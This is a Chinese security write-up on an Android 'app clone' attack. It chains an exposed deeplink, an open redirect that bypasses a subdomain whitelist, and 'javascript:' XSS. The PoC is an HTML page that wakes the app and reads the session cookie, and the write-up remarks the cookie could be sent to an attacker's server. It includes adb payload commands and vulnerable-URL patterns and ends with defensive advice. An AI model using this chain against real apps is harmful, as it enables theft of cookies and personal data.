内容简介:在工作中遇到了一次Android应用克隆漏洞的案例,由于攻击过程非常有趣,综合利用了多个中低风险漏洞,产生了化腐朽为神奇的攻击效果。在此分享给大家,以扩展渗透测试思路。攻击者可通过散布恶意构造的HTML文件,来窃取受害者的个人信息。一旦受害者打开该文件,受害者的姓名、手机号、身份证号、交易记录等敏感信息将会被窃取。
一、前言
在工作中遇到了一次Android应用克隆漏洞的案例,由于攻击过程非常有趣,综合利用了多个中低风险漏洞,产生了化腐朽为神奇的攻击效果。在此分享给大家,以扩展渗透测试思路。
二、漏洞详情
1. 漏洞介绍
攻击者可通过散布恶意构造的HTML文件,来窃取受害者的个人信息。一旦受害者打开该文件,受害者的姓名、手机号、身份证号、交易记录等敏感信息将会被窃取。
经分析,该APP可被利用的漏洞如表2.1所示。
表2.1 APP可被利用的漏洞
2. 漏洞攻击步骤描述
- 受害者打开APP,正常登录。
- 回到主页面,APP 切换至后台运行。
- 受害者访问攻击者发布的恶意链接,访问恶意HTML文件。
- 访问恶意HTML文件后,屏幕先显示APP页面,然后跳转至空白页面。
- 之后攻击者在服务器端获取账户信息、交易记录等敏感信息。
大致流程如图2.1所示。
图2.1 漏洞攻击流程
三、应用克隆漏洞案例分析
1. Deeplink启动APP
Deeplink简单来说就是让APP开发者能够链接到应用内特定的页面,通过Deeplink可以直接从广告到达商品,移动应用开发者可以再现网页端的体验。而判断一个APP程序有没有使用Deeplink,最简单的方法就是通过反编译APP,在AndroidManifest.xml文件中搜索关键字“android:scheme=”。
针对目标APP的分析:
反编译APP,在AndroidManifest.xml发现一个url scheme存在android.intent.category.BROWSABLE属性,可从浏览器启动。
<activity android:launchMode="singleInstance" android:name="com.xxx.router.RouterActivity" android:screenOrientation="portrait" android:theme="@style/myTransparent"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="mydeeplink"/> </intent-filter> </activity>
在反编译后的文件夹中搜索关键字mydeeplink,发现一个Deeplink:
mydeeplink://?mydeeplink={url:'/messageCenter/pages/index.html',message_type:'messagecenter'}
经测试“mydeeplink://”可成功调用APP窗口,使用命令:
adb shell am start -a "android.intent.action.VIEW" -d "mydeeplink://?mydeeplink={url:'/messageCenter/pages/index.html',message_type:'messagecenter'}"。
2. Deeplink读取本地文件和JS代码执行
既然可以使用Deeplink,那么后续则可以通过Deeplink读取本地文件、执行JS代码,获取用户手机号、身份证号等敏感信息,或者获取Cookie。
漏洞分析过程:
经分析,发现目标APP针对攻击手段进行了一定的防护:
- 可以使用file://协议,但是被限制了目录,无法读取数据库等文件。
- 无法直接使用JavaScript代码:。
- 对请求的URL做了限制,只能请求与APP主域名相关的URL。
详细分析过程如下:
使用Payload:
adb shell am start -a "android.intent.action.VIEW" -d "mydeeplink://?mydeeplink={url:'https://www.baidu.com'}"
,发现存在一定程度的安全检测,请求被拦截,如图3.1所示。
图3.1 URL跳转百度失败
使用Payload:
adb shell am start -a "android.intent.action.VIEW" -d "mydeeplink://?mydeeplink={url:'http://static.xxx.com/m/login.html'}"
,发现请求成功,据此判断子域名为白名单,如图3.2所示。
图3.2 URL跳转子域名成功
3. 任意URL跳转绕过Deeplink白名单
既然子域名是白名单,那么我们可以尝试子域名一些页面的跳转功能(如/index?return=https://www.baidu.com),跳转到我们自己的页面上,从而绕过Deeplink白名单限制。
漏洞分析过程:
在root设备上将APP目录导出到PC上,使用类似grep工具搜索关键字 *.xxx.com、url=、path=、back=、return=,发现多个存在任意URL跳转漏洞或JS代码执行漏洞的URL。
- https://m.stock.xxx.com/static/router.html?desturl=https://www.baidu.com ,任意URL跳转漏洞和XSS跨站脚本攻击,不能读文件。
- https://test.xxx.com/ibp/outlets/index.html?returnUrl=javascript:alert(document.cookie),需要点击返回按钮触发跳转,任意URL跳转和XSS跨站脚本攻击,不能读文件。
- https://static.xxx.com/pages/addRouter.html?url=https://www.baidu.com ,需要点击返回按钮触发跳转,任意URL跳转和XSS跨站脚本攻击,不能读文件。
- https://static.xxx.com/ pages /entrance.html?discontinueUrl=javascript:alert(document.cookie),需要点击确定按钮,无法任意URL跳转,不能读文件,但是可以执行Javascript;。
- https://static.xxx.com/ pages/accllation/transit.html?returnUrl=javascript:alert(document.cookie),无法任意URL跳转,不能读文件,但是可以执行Javascript。
Payload示例:adb shell am start -a "android.intent.action.VIEW" -d "mydeeplink://?mydeeplink={url:'https://static.xxx.com/pages/accllation/transit.html?returnUrl=https://www.baidu.com'}" ,可通过命令行启动Android虚拟机中的APP,并访问百度页面,绕过白名单限制,如图3.3所示。
图3.3 子域名URL跳转百度成功
4. 构造恶意HTML获取Cookie
结合以上分析过程,通过构造恶意HTML文件,结合Deeplink、白名单绕过和JS代码执行漏洞,获取用户Cookie,使用Cookie获取用户敏感信息。
构造综合利用POC:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title></title>
</head>
<body>
<br/><br/>
<iframe name="child" width="300" height="300" src="mydeeplink://?mydeeplink={url:' https://static.xxx.com/pages/accllation/transit.html?returnUrl=javascript:alert(document.cookie)'}" style="padding:0px;" ></iframe>
</body>
</html>
在Android模拟器中打开APP,登录账号,然后按Home键返回主界面。
在浏览器中访问构造的恶意HTML链接 http://192.168.96.1/test.html ,自动唤醒APP,待页面加载完毕后,成功弹出Cookie,如图3.4所示。
图3.4 获取用户cookie
当然也可以不显示弹窗,直接把Cookie发送到自己的服务器上,以此窃取的Cookie向服务端发起请求,就可以获得该用户的数据了。
四、总结
简单梳理一下整个漏洞利用流程,如图4.1所示。
图4.1 漏洞利用流程
从图4.1可见,Intent Scheme、WebView和子域名这三处中任意一处做了有效过滤的话,都可以阻止这次漏洞攻击。另外,在搜索的漏洞URL结果中可以发现,该APP的防护措施是比较完善的,阻止了file协议的文件读取目录,而且部分子域名页面所加载的JS也使用正则表达式做了任意URL跳转的防护,但还是忽略了对伪协议“javascript:”的防范(见图4.2)。
图4.2 漏洞触发点
随着业务的拓展,以及网络的不断扩展和日趋复杂,对内、对外服务不断增多,为企业内部制定一个安全编码规范就显得尤为重要。
总之,网络安全路途漫漫,仍然需要我们不断探索,以研究出更利于网络安全的软件。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Python for Data Analysis
Wes McKinney / O'Reilly Media / 2012-11-1 / USD 39.99
Finding great data analysts is difficult. Despite the explosive growth of data in industries ranging from manufacturing and retail to high technology, finance, and healthcare, learning and accessing d......一起来看看 《Python for Data Analysis》 这本书的介绍吧!